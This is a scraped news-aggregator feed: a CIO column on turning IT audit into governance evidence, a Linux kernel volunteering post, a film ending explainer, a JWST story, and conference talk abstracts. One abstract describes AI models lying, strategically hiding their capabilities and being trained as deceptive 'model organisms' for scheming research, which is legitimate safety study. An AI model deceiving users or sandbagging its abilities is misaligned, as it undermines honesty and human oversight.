<p class="wp-block-paragraph">The reality we face is that legacy compliance evidence often falls short under regulatory scrutiny. For years, the annual SOC 2 Type II report or a standardized ISO 27001 certification was brandished by technology teams as the definitive proof of a functional control environment. I have sat in dozens of scoping meetings where an engineering director pointed to a freshly minted compliance report as if it were a complete defense against scrutiny.</p>



<p class="wp-block-paragraph">But a compliance report is a historical artifact—a retrospective evaluation of how specific controls operated during a defined window of time months in the past. It tells an investigator that on a random afternoon in Q2, your production change-management approvals conformed to a baseline policy. It says absolutely nothing about the configuration drift, unauthorized API keys or emergency patch bypasses that developers introduced the following weekend to hit a product release deadline.</p>



<p class="wp-block-paragraph">Modern regulators, boards and investors are no longer satisfied by historical comfort letters alone. Under contemporary frameworks, especially regimes focused on operational resilience, static compliance evidence is no longer enough. The expectation of due care has shifted from a passive state of compliance to an active state of continuous challenge. Increasingly, post-incident reviews look for evidence that leadership identified system vulnerabilities, formally escalated material deficiencies, evaluated systemic risk to the business and tracked remediation progress with measurable rigor.</p>



<p class="wp-block-paragraph">When an architecture fails, post-incident reviews often focus quickly on ownership, escalation and whether known risks were acted upon. If your defensive documentation consists entirely of static policy documents and green dashboards, you leave an evidentiary vacuum that can invite difficult questions about executive oversight. Post-incident reviews rarely turn on perfection. They turn on whether the organization can show a traceable chain of governance.</p>



<h2 class="wp-block-heading">5 non-negotiable artifacts for your executive evidence engine</h2>



<p class="wp-block-paragraph">This reality requires a complete reframing of your relationship with your IT audit department. Historically, this dynamic has been defined by friction. Technology leaders frequently view my peers and me as compliance traffic cops—bureaucrats who interrupt core engineering sprints to demand evidence samples, user access reviews and system configurations.</p>



<p class="wp-block-paragraph">It is time to view IT audit through a pragmatic lens: we are your independent evidence engine. We are one of the few corporate functions tasked with independently challenging your control environment, documenting where exceptions were escalated and showing how management responded. When an auditor identifies a control gap and partners with you to draft a management action plan, they are not creating a bureaucratic roadblock. They are helping you construct an evidence trail that can show risk was identified, escalated and acted upon.</p>



<p class="wp-block-paragraph">To transform your IT audit function into an effective executive shield, you must shift focus away from superficial check-the-box exercises and collaborate on specific artifacts. The most effective exercise you can run with your audit leadership is to flip the timeline completely and ask: if this program were reviewed six months from now, which evidence would show we governed the risk before it failed?</p>



<ol class="wp-block-list">
<li><strong>Board-facing risk registers with escalation history:</strong> A risk register that sits unreviewed on an intranet page for 12 months is not a management tool; to an investigator, it can look like evidence that known risks were not actively governed. Your material technology, cybersecurity and dependency risks must be centrally logged. More importantly, this artifact must contain a clear, chronological escalation history showing exactly when the risk was presented to leadership committees and the board, along with related minutes, decisions or follow-up actions.</li>



<li><strong>Granular risk acceptance records:</strong> You cannot remediate every vulnerability instantly. Business continuity, legacy software limitations and budgetary boundaries require you to accept certain operational exposures. When this occurs, ensure your risk acceptance records are airtight. A defensible record must document the specific technical variance, the precise financial or operational rationale for the delay, a definitive expiration date, explicit executive sign-off and the active compensating controls deployed to reduce the blast radius in the interim.</li>



<li><strong>Tabletop and operational simulation records:</strong> Independent frameworks such as <a href="https://www.isaca.org/digital-trust">ISACA’s Digital Trust Ecosystem Framework</a> can help structure this evidence, but boards and regulators will still look for proof that the testing actually happened. Your audit trail should contain comprehensive records of cyber incident, disaster recovery and third-party dependency simulations. These records must detail the scenario tested, the executive participants, the control failures identified during the drill and a formalized tracking schedule showing when those gaps were closed.</li>



<li><strong>AI governance inventories and data-flow mappings:</strong> The rapid deployment of generative AI tools across enterprise operations has created a massive blind spot for technology executives. In one audit, we found developers using an unapproved public large language model to accelerate debugging with sensitive internal code. To protect yourself, work with your audit team to build an active enterprise AI inventory that maps data lineage, identifies model business owners, documents risk classification approvals and demonstrates active technical monitoring for unauthorized data exfiltration.</li>



<li><strong>Synchronized disclosure-control handoffs:</strong> When a material security incident or system outage occurs, the clock begins ticking for regulatory reporting. Your incident response playbook must be technically linked to your corporate disclosure controls. The audit trail should show that a documented, synchronized handoff occurred between your technical response leaders, general counsel, chief financial officer and corporate communications team. This evidence helps show that your external statements match internal technical realities.</li>
</ol>



<p class="wp-block-paragraph">In the modern corporate ecosystem, technology leadership is no longer just an engineering challenge; it is an exercise in rigorous, evidence-based governance. The regulatory landscape has changed, and the expectation of continuous traceability cannot be avoided.</p>



<p class="wp-block-paragraph">Open and direct collaboration with your IT audit team will not prevent a zero-day exploit, an unexpected cloud outage or a critical third-party vendor failure. That is not the purpose of enterprise risk management.</p>



<p class="wp-block-paragraph">The true value is far more practical: when a serious incident puts your program under review, you will not be forced to defend your reputation with a feeling, an unverified assumption or a misleadingly green dashboard. Instead, you will have an independent record showing that risk was actively seen, appropriately challenged, properly escalated and responsibly managed. In today’s regulatory environment, that disciplined trail of evidence may be the difference between a failure that can be explained and one that begins to look negligent.</p>



<p class="wp-block-paragraph">.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Medically retired. Want to give back to Linux. What free pathways exist to help train someone to a level where they can assist with the Linux kernel?]]></title>
<description><![CDATA[I've been medically retired and now have more free time. As well, I've been daily driving Linux since about 2010. Aside from helping other users in random posts, I have largely been a consumer of Linux.  Over the last few weeks I've seen and read posts leaning towards Linux needing kernel maintai...]]></description>
<link>https://tsecurity.de/de/3680111/linux-tipps/medically-retired-want-to-give-back-to-linux-what-free-pathways-exist-to-help-train-someone-to-a-level-where-they-can-assist-with-the-linux-kernel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680111/linux-tipps/medically-retired-want-to-give-back-to-linux-what-free-pathways-exist-to-help-train-someone-to-a-level-where-they-can-assist-with-the-linux-kernel/</guid>
<pubDate>Mon, 20 Jul 2026 01:09:18 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I've been medically retired and now have more free time. As well, I've been daily driving Linux since about 2010. Aside from helping other users in random posts, I have largely been a consumer of Linux. </p> <p>Over the last few weeks I've seen and read posts leaning towards Linux needing kernel maintainers. While I am not a complete noob, i know I'm not a software engineer. </p> <p>This leaves me with two questions: </p> <ol> <li><p>What courses or certifications do I need to help maintain the kernel?</p></li> <li><p>Is there another way to give back in the meantime? </p></li> </ol> <p>Thanks</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/cribbageSTARSHIP"> /u/cribbageSTARSHIP </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v12ww8/medically_retired_want_to_give_back_to_linux_what/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v12ww8/medically_retired_want_to_give_back_to_linux_what/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix’s Desire Ending Explained: Who Killed Matías and What Happens to Lucero?]]></title>
<description><![CDATA[Netflix’s Desire ends by revealing that nearly every member of Lucero’s family played a role in Matías’ death. The final poolside sequence explains how jealousy, betrayal and fear turned a secret affair into a fatal family cover-up.



Major spoilers for Desire follow.



Desire Release Date, Cas...]]></description>
<link>https://tsecurity.de/de/3680069/ios-mac-os/netflixs-desire-ending-explained-who-killed-matas-and-what-happens-to-lucero/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680069/ios-mac-os/netflixs-desire-ending-explained-who-killed-matas-and-what-happens-to-lucero/</guid>
<pubDate>Mon, 20 Jul 2026 00:24:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix’s Desire ends by revealing that nearly every member of Lucero’s family played a role in Matías’ death. The final poolside sequence explains how jealousy, betrayal and fear turned a secret affair into a fatal family cover-up.



Major spoilers for Desire follow.



Desire Release Date, Cast and Other Details




Netflix release date: July 17, 2026



Original title: Deseo



Genre: Erotic thriller, psychological drama



Runtime: Around 98 minutes



Director: Teresa Simone



Language: Spanish



Main cast: Ludwika Paleta, Óscar Casas, José María Yazpik and Pilar Pascual




The Mexican-Spanish movie follows Lucero, a successful 47-year-old lawyer who appears to have a comfortable life with her husband, Fernando, and their two children. However, she feels increasingly dissatisfied with her marriage and begins an affair with Matías, the young swimming coach hired by Fernando.



The situation becomes more dangerous when Lucero’s daughter, Viviana, also develops feelings for Matías. What begins as an affair soon becomes a tense triangle involving secrecy, manipulation and jealousy.



Where Is the Story Heading Before the Final Scene?



The movie opens with blood near the family’s indoor swimming pool, immediately confirming that someone has died. It then moves back through the events that caused the tragedy.



Lucero’s relationship with Matías grows more intense, even as she understands that the affair could destroy her marriage, career and relationship with her children. Matías also becomes involved with Viviana, creating further tension inside the family.



As the truth begins to surface, each character reacts differently. Viviana feels betrayed by both Matías and her mother, while Fernando begins to understand what has been happening inside his home. Lucero, meanwhile, focuses on protecting her family and preventing the affair from becoming public.



Since Desire is a standalone movie, there are no previous seasons to revisit. The entire story builds toward the night at the pool and the mystery surrounding Matías’ death.



Desire Ending Explained: Who Killed Matías?



The ending reveals that Matías’ death was caused by several actions rather than one sudden attack.



Julian secretly drugs Matías earlier in the evening. The drug leaves him physically weakened and less capable of defending himself when the conflict reaches the swimming pool.



Viviana then confronts Matías after discovering the truth about his relationship with Lucero. Feeling humiliated and used, she attacks him and leaves him injured.



Fernando later finds Matías bleeding and struggling in the pool. Instead of rescuing him, Fernando chooses to leave him there. His decision makes him directly responsible for allowing the situation to become fatal.



Lucero arrives for the final confrontation and sees that Matías is still alive. Matías appears to believe that she has come to help him or choose him over her family. However, Lucero pushes him beneath the water and holds him there until he drowns.



Lucero therefore delivers the final killing act, although every member of the family contributes to the chain of events that leads to his death.



Why Does Lucero Kill Matías?



Lucero kills Matías because she sees him as a threat to everything she wants to protect. Their affair once offered excitement and escape, but it eventually endangered her children, marriage and public life.



By the final scene, Lucero no longer views Matías as a romantic partner. She sees him as the person capable of exposing the family’s secrets and destroying their remaining sense of stability.



Her decision also completes her transformation. She begins the movie searching for freedom from her controlled life, yet she ends it committing murder to regain control.



Does Lucero’s Family Escape?



The movie does not show the family facing immediate legal consequences. Since several people contributed to Matías’ death, they share a reason to hide what happened.



The final revelation suggests that their family can remain together only by protecting the same secret. Any one of them could expose the others, creating an uneasy balance based on guilt rather than trust.



The opening bloodstains also take on a clearer meaning. They represent the evidence the family must remove, but they also reflect damage that cannot be completely erased.



What Does the Ending of Desire Mean?



The ending shows how unchecked desire damages every relationship around Lucero. Her affair affects her husband, draws her daughter into a painful rivalry and eventually turns the entire family into participants in Matías’ death.



Lucero technically protects her family from Matías, but their earlier life cannot return. Fernando knows about her betrayal, Viviana knows that her mother was involved with the same man, and everyone understands what happened beside the pool.



Desire ends without offering a clean resolution because the family’s punishment comes from living with the truth. What did you think about Lucero’s final decision, and who carries the most blame for Matías’ death? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[James Webb Space Telescope Discovers How Black Holes Feed Themselves]]></title>
<description><![CDATA["Thanks to the James Webb Space Telescope, astronomers have been given a glimpse of the mechanisms that supermassive black holes use to feed themselves," reports Space.com:

The powerful cosmic titans get really puzzling when astronomers using the JWST spot them before the universe was even 1 bil...]]></description>
<link>https://tsecurity.de/de/3679885/it-security-nachrichten/james-webb-space-telescope-discovers-how-black-holes-feed-themselves/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679885/it-security-nachrichten/james-webb-space-telescope-discovers-how-black-holes-feed-themselves/</guid>
<pubDate>Sun, 19 Jul 2026 21:23:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Thanks to the James Webb Space Telescope, astronomers have been given a glimpse of the mechanisms that supermassive black holes use to feed themselves," reports Space.com:

The powerful cosmic titans get really puzzling when astronomers using the JWST spot them before the universe was even 1 billion years old. That's because the mechanisms by which black holes devour matter to grow and then merge to create even more massive black holes should take at least 1 billion years to achieve supermassive status. This is even more confusing because theories also say the most ravenously feeding black holes (and thus the fastest growing) should also push the matter they use for this growth away, in effect putting themselves on a diet. So, with all this in mind, how did supermassive black holes grow so rapidly in the early universe? 
One explanation suggests supermassive black holes push away gas, starving themselves as predicted, but also that this matter eventually cools and falls back to the black hole. That would allow for another period of feeding and thus growth. This explanation further suggests that as this gas cools down, it forms "streamers," or filaments, of gas just a few hundred light-years wide but which stretch thousands of light-years long. These would fall back to the center of the galaxy and form a swirling disk around its incumbent black hole, once again feeding it and triggering a new period of growth. This would then restart the jets from the black hole, which would again cut off the cosmic titan's food supply, allowing the whole process to begin once more. The process would in essence be a self-regulating cycle of feasting followed by fasting. However, the connection between these filaments and supermassive black holes has been elusive, meaning this mechanism has resisted confirmation. 

To solve the mystery of feasting black holes, the JWST turned its attention to a relatively close AGN situated at the heart of the central galaxy of the Centaurus Cluster, NGC 4696, located just 145 million light-years from Earth. The Hubble Space Telescope previously studied this galaxy, uncovering a strange, hook-shaped swirl of gas near the central supermassive black hole of NGC 4696. The JWST followed up this discovery by producing a detailed map of gas flowing at the heart of the galaxy. This revealed the hook-shaped feature is around 800 light-years wide and is composed of gas moving at incredible speeds of around 1.3 million miles per hour (600 kilometers per second).
More excitingly, the swirl of gas appears to be connected to a vast filament of material falling in toward the central supermassive black hole. 
The team tested the JWST observations against a computer simulation, finding gas in the infalling filament scenario would indeed take a shape similar to that seen in NGC 4696.
"JWST is now showing us the final link of this closed loop," team member Helen Russell of the School of Physics and Astronomy at the University of Nottingham in the U.K. said in the statement. "The vast filamentary network of gas flows ultimately funnels gas down to a disk that fuels the black hole." 

The team's research was published on Wednesday (July 16) in the Astrophysical Journal Letters.
 

"We are finally seeing this self-sustaining cycle in action," team leader Julie Hlavacek-Larrondo of the Université de Montréal said in a statement.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=James+Webb+Space+Telescope+Discovers+How+Black+Holes+Feed+Themselves%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F19%2F191239%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F19%2F191239%2Fjames-webb-space-telescope-discovers-how-black-holes-feed-themselves%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/07/19/191239/james-webb-space-telescope-discovers-how-black-holes-feed-themselves?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dubstep Carrots - your gateway vegetable to accessible music making (emf2026)]]></title>
<description><![CDATA[Do we decide if we can play an instrument before we've even seen it? How much of our self-belief about our musicianship is based on adverse childhood experiences with cheap conventional instruments? How can we break through this barrier and rediscover the joy of noise, sound and musical play by s...]]></description>
<link>https://tsecurity.de/de/3679792/it-security-video/dubstep-carrots-your-gateway-vegetable-to-accessible-music-making-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679792/it-security-video/dubstep-carrots-your-gateway-vegetable-to-accessible-music-making-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 19:38:25 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Do we decide if we can play an instrument before we've even seen it? How much of our self-belief about our musicianship is based on adverse childhood experiences with cheap conventional instruments? How can we break through this barrier and rediscover the joy of noise, sound and musical play by shifting the idea of what constitutes a musical instrument?

Join us as we explore new ways of making music and sound with interfaces created from root vegetables, recycled materials and willing human test subjects in front of a live studio audience. 

Using a range of sensors, interfaces and microcomputers, we will explore accessible ways of making music and discuss why this matters so much for those who face disabling barriers when using conventional instruments.

Sometimes, the best musical instrument is a carrot... join us to find out why.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/237-dubstep-carrots]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix Finally Shares an Update on ‘XO, Kitty’ Season 4]]></title>
<description><![CDATA[Netflix has finally provided some clarity about the future of XO, Kitty, but fans will need to wait longer for a firm renewal announcement. The streaming service has not officially ordered Season 4 yet.



Netflix is considering two possible endings



According to a new report, Paramount Televis...]]></description>
<link>https://tsecurity.de/de/3679712/ios-mac-os/netflix-finally-shares-an-update-on-xo-kitty-season-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679712/ios-mac-os/netflix-finally-shares-an-update-on-xo-kitty-season-4/</guid>
<pubDate>Sun, 19 Jul 2026 17:38:58 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix has finally provided some clarity about the future of XO, Kitty, but fans will need to wait longer for a firm renewal announcement. The streaming service has not officially ordered Season 4 yet.



Netflix is considering two possible endings



According to a new report, Paramount Television Studios has extended Netflix’s option on XO, Kitty. The cast options have also been extended, keeping Anna Cathcart, Sang Heon Lee and other key actors available while discussions continue.



The update suggests that Netflix has not quietly cancelled the romantic comedy series. However, executives and the creative team are still deciding how Kitty Song Covey’s story should continue.



One option is a traditional fourth season featuring more episodes. The other is a feature-length movie that would conclude the remaining storylines. Creator Jenny Han previously ended the original To All the Boys I’ve Loved Before story through a trilogy of Netflix movies, making a final XO, Kitty film a realistic possibility.



Season 3 delivered strong viewing numbers



The delay is surprising because XO, Kitty Season 3 performed well after arriving on Netflix on April 2, 2026. It recorded 12.9 million views during its opening four days and reached the top of Netflix’s English-language television chart.



Season 3 later reached 29.3 million views through June 30 and ranked No. 16 among Netflix’s most-watched series during the reporting period.



The latest season also created a clear path for another chapter. Kitty and Min Ho repaired their relationship and travelled to the United States, where Min Ho planned to meet Kitty’s family.



For now, XO, Kitty Season 4 remains undecided. The extension involving the studio and cast keeps the series alive, but Netflix must still choose between another full season and a final movie.]]></content:encoded>
</item>
<item>
<title><![CDATA[Mum, can I play Roblox? Navigating online gaming safety for parents and caregivers (emf2026)]]></title>
<description><![CDATA[Unlike most adults, I play videogames professionally with children online all day, every day. I play the games children love, such as Roblox and Fortnite, many of which parents are not interested in - either giving their children total freedom with them or banning them entirely. I will immerse ad...]]></description>
<link>https://tsecurity.de/de/3679580/it-security-video/mum-can-i-play-roblox-navigating-online-gaming-safety-for-parents-and-caregivers-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679580/it-security-video/mum-can-i-play-roblox-navigating-online-gaming-safety-for-parents-and-caregivers-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 16:16:59 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Unlike most adults, I play videogames professionally with children online all day, every day. I play the games children love, such as Roblox and Fortnite, many of which parents are not interested in - either giving their children total freedom with them or banning them entirely. I will immerse adults in my world for 30 minutes and give them confidence in navigating parenting in this modern age.

In this talk I will help caregivers to feel more confident in setting boundaries and limits for their child’s online gaming, by explaining the main sources of harm in some popular platforms. I give tips on how to discuss boundaries with children (especially when 'everyone in my class plays it!'), as well as describe ways I have seen children get around restrictions.

I will share the games I will and will not let my own children play - and you may be surprised as to why. I will describe how I try to keep them as safe as possible online, while maintaining friendships.

Young people are very welcome to attend alongside their caregivers to spark the discussion moving forward. Caregivers should be aware that there is talk of the harms in online gaming, but that these are sensitively covered.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/159-mum-can-i-play-roblox-navigating-online-gaming-safety]]></content:encoded>
</item>
<item>
<title><![CDATA[When Will The Odyssey Be on Netflix? Expected Streaming Release Date]]></title>
<description><![CDATA[Christopher Nolan’s The Odyssey opened in theaters worldwide on July 17, 2026, but Netflix subscribers will probably wait until summer 2027 before the movie becomes available to stream in the United States.



Universal Pictures now follows a new streaming arrangement for its live-action movies, ...]]></description>
<link>https://tsecurity.de/de/3679476/ios-mac-os/when-will-the-odyssey-be-on-netflix-expected-streaming-release-date/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679476/ios-mac-os/when-will-the-odyssey-be-on-netflix-expected-streaming-release-date/</guid>
<pubDate>Sun, 19 Jul 2026 14:36:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Christopher Nolan’s The Odyssey opened in theaters worldwide on July 17, 2026, but Netflix subscribers will probably wait until summer 2027 before the movie becomes available to stream in the United States.



Universal Pictures now follows a new streaming arrangement for its live-action movies, which places Netflix inside the first major paid streaming window after Peacock. The agreement started in 2026 and covers large theatrical releases such as The Odyssey.



The film stars Matt Damon as Odysseus and follows his long journey home after the Trojan War. Tom Holland, Anne Hathaway, Robert Pattinson, Lupita Nyong’o, Zendaya, and Charlize Theron also appear in the cast, while Nolan filmed the production entirely with IMAX cameras.



The Odyssey Netflix release date prediction



Universal usually keeps its major movies in theaters before moving them through a fixed streaming schedule. However, a strong box office run can delay each stage, especially when a movie continues earning well for several months.



The expected release timeline currently looks like this:




Theatrical release: July 17, 2026



Estimated Peacock release: February or March 2027



Estimated Netflix release: June or July 2027



Later Peacock return: After the Netflix window ends




The Odyssey may follow a longer theatrical path because Nolan’s previous Universal film, Oppenheimer, stayed away from streaming for around seven months after its cinema release. Universal may use a similar strategy if The Odyssey performs strongly worldwide.



When will The Odyssey stream internationally?



Netflix availability outside the United States will depend on local agreements with Universal Pictures. Some parts of Central Europe and Latin America may receive the movie in late 2027, while viewers in the UK and Canada may wait until the middle or second half of 2028.



Other regions may face an even longer delay, so digital rental and purchase platforms will probably offer the fastest home-viewing option before the movie reaches Netflix.



For now, June or July 2027 remains the most realistic estimate for The Odyssey to arrive on Netflix in the United States.




https://youtu.be/AyIZ9tiiN8I?si=HgZHB36z1FdHkUaq]]></content:encoded>
</item>
<item>
<title><![CDATA[Foxdog Studios: Robo Bingo 2.0 (emf2026)]]></title>
<description><![CDATA[Bingo meets Tech meets Comedy.

An interactive, smartphone powered comedy act like no other, fun for ages 8 to 8000. Experience a whole new side of bingo created by Foxdog Studios (Lloyd & Pete) and their robotic bingo mascot, Mr Bing. Expect chaos, games and laughs. 

Join the fun without leavin...]]></description>
<link>https://tsecurity.de/de/3679426/it-security-video/foxdog-studios-robo-bingo-20-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679426/it-security-video/foxdog-studios-robo-bingo-20-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 14:03:21 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bingo meets Tech meets Comedy.

An interactive, smartphone powered comedy act like no other, fun for ages 8 to 8000. Experience a whole new side of bingo created by Foxdog Studios (Lloyd &amp; Pete) and their robotic bingo mascot, Mr Bing. Expect chaos, games and laughs. 

Join the fun without leaving your seat as bingo cards are beamed to your phone using their own homemade software and play with their DIY robots. Claim your prize by tapping the button and blast “Bingo!” out the main speakers (but be ready to go to bingo jail if you cry wolf).

After a sell-out run at the Edinburgh Fringe and an award winning run in Adelaide, Australia - Pete and Lloyd are bringing bingo back to EMF.

Bring a phone to join in, or share a phone with someone who has one!

“The lo-fi tech wizardry is ingenious, and it’s irresistible fun to play along” Guardian
 
As seen on BBC Click, CBBC Live Lessons, Channel 4 UK, featured in The Guardian, The Observer, WIRED Magazine UK and heard on BBC Radio 4 Extra.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/69-foxdog-studios-robo-bingo-2-0]]></content:encoded>
</item>
<item>
<title><![CDATA[Foxdog Studios: Robo Bingo 2.0 (emf2026)]]></title>
<description><![CDATA[Bingo meets Tech meets Comedy.

An interactive, smartphone powered comedy act like no other, fun for ages 8 to 8000. Experience a whole new side of bingo created by Foxdog Studios (Lloyd & Pete) and their robotic bingo mascot, Mr Bing. Expect chaos, games and laughs. 

Join the fun without leavin...]]></description>
<link>https://tsecurity.de/de/3679416/it-security-video/foxdog-studios-robo-bingo-20-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679416/it-security-video/foxdog-studios-robo-bingo-20-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:47:53 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bingo meets Tech meets Comedy.

An interactive, smartphone powered comedy act like no other, fun for ages 8 to 8000. Experience a whole new side of bingo created by Foxdog Studios (Lloyd &amp; Pete) and their robotic bingo mascot, Mr Bing. Expect chaos, games and laughs. 

Join the fun without leaving your seat as bingo cards are beamed to your phone using their own homemade software and play with their DIY robots. Claim your prize by tapping the button and blast “Bingo!” out the main speakers (but be ready to go to bingo jail if you cry wolf).

After a sell-out run at the Edinburgh Fringe and an award winning run in Adelaide, Australia - Pete and Lloyd are bringing bingo back to EMF.

Bring a phone to join in, or share a phone with someone who has one!

“The lo-fi tech wizardry is ingenious, and it’s irresistible fun to play along” Guardian
 
As seen on BBC Click, CBBC Live Lessons, Channel 4 UK, featured in The Guardian, The Observer, WIRED Magazine UK and heard on BBC Radio 4 Extra.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/69-foxdog-studios-robo-bingo-2-0]]></content:encoded>
</item>
<item>
<title><![CDATA[Scientifically ruining the interfaces in children’s shows (emf2026)]]></title>
<description><![CDATA[Previously, I used scientific research in the field of Human Computer Interaction to point out huge flaws in interface designs seen in film and tv. I’ve had two kids since then so all I see are kids shows now. Turns out the issues persist and the academic study of how we interact with technology ...]]></description>
<link>https://tsecurity.de/de/3679401/it-security-video/scientifically-ruining-the-interfaces-in-childrens-shows-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679401/it-security-video/scientifically-ruining-the-interfaces-in-childrens-shows-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:33:34 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Previously, I used scientific research in the field of Human Computer Interaction to point out huge flaws in interface designs seen in film and tv. I’ve had two kids since then so all I see are kids shows now. Turns out the issues persist and the academic study of how we interact with technology has a lot to say about the design of Mickey Mouse’s club house. 

A light hearted talk to discuss interesting scientific theories through the silly lens of children’s tv shows. The audience do not need a working knowledge of any children's shows to enjoy!

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/276-scientifically-ruining-the-interfaces-in-children-s-shows]]></content:encoded>
</item>
<item>
<title><![CDATA[So AIs are lying to us now, huh? (emf2026)]]></title>
<description><![CDATA[As AI systems are getting smarter, safety researchers are increasingly concerned by a new capability of these models - they are getting very good at lying. This behaviour is seen both in and out of evaluation settings, and has a fascinating range of root causes. 

In this talk, we'll investigate ...]]></description>
<link>https://tsecurity.de/de/3678594/it-security-video/so-ais-are-lying-to-us-now-huh-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678594/it-security-video/so-ais-are-lying-to-us-now-huh-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 01:03:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As AI systems are getting smarter, safety researchers are increasingly concerned by a new capability of these models - they are getting very good at lying. This behaviour is seen both in and out of evaluation settings, and has a fascinating range of root causes. 

In this talk, we'll investigate the phenomena of AI deception across a broad range of scenarios. Discover how chatbots lie for your own good, when models strategically hide their capabilities, and why ChatGPT is better than you at Avalon. We'll cover how researchers are training model organisms designed to be good at deception, and how this helps us to detect scheming in the wild.

Most importantly, we'll attempt to answer the question: how worried should we be about all this?

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/154-so-ais-are-lying-to-us-now-huh]]></content:encoded>
</item>
<item>
<title><![CDATA[A short history of arcades and arcade machines (emf2026)]]></title>
<description><![CDATA[Arcade machines have a rich history, at times at the forefront of technology, and often the most bizarre machines. Machines that delivered electric shocks (supposedly therapeutic) and working automata models of executions or hen pecked husbands (titled ‘Is Marriage worth it’). The first seaside a...]]></description>
<link>https://tsecurity.de/de/3678578/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678578/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 00:47:56 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Arcade machines have a rich history, at times at the forefront of technology, and often the most bizarre machines. Machines that delivered electric shocks (supposedly therapeutic) and working automata models of executions or hen pecked husbands (titled ‘Is Marriage worth it’). The first seaside arcade opened in Blackpool in 1894, under the newly built tower. The machines were all clockwork automata scenes, with an attendant constantly rewinding them. Arcades became widespread after the craze for Edison’s Kinetoscope, the predecessor of  ‘What the Butler Saw’ machines. Kinetoscopes were a sensation – the first time anyone had seen moving images of any sort, so ‘Kinetoscope parlours’ sprang up in every city centre. Once cinemas got established the craze faded and the parlours diversified –  adding fortune tellers, ball runs, shooting games and of course one armed bandits. The arrival of computer games in the 1980s shook everything up. At first very popular in arcades but soon eclipsed by cheaper to play home computer games. Most city centre arcades have since closed, though many seaside arcades survive with ‘redemption’ machines. These spit out tickets when you win. Before leaving you take all your tickets to the desk to ‘redeem’ a prize.   
The talk will be illustrated by photos and videos of the old machines and also some of Tim’s own arcade machines influenced by their history.  

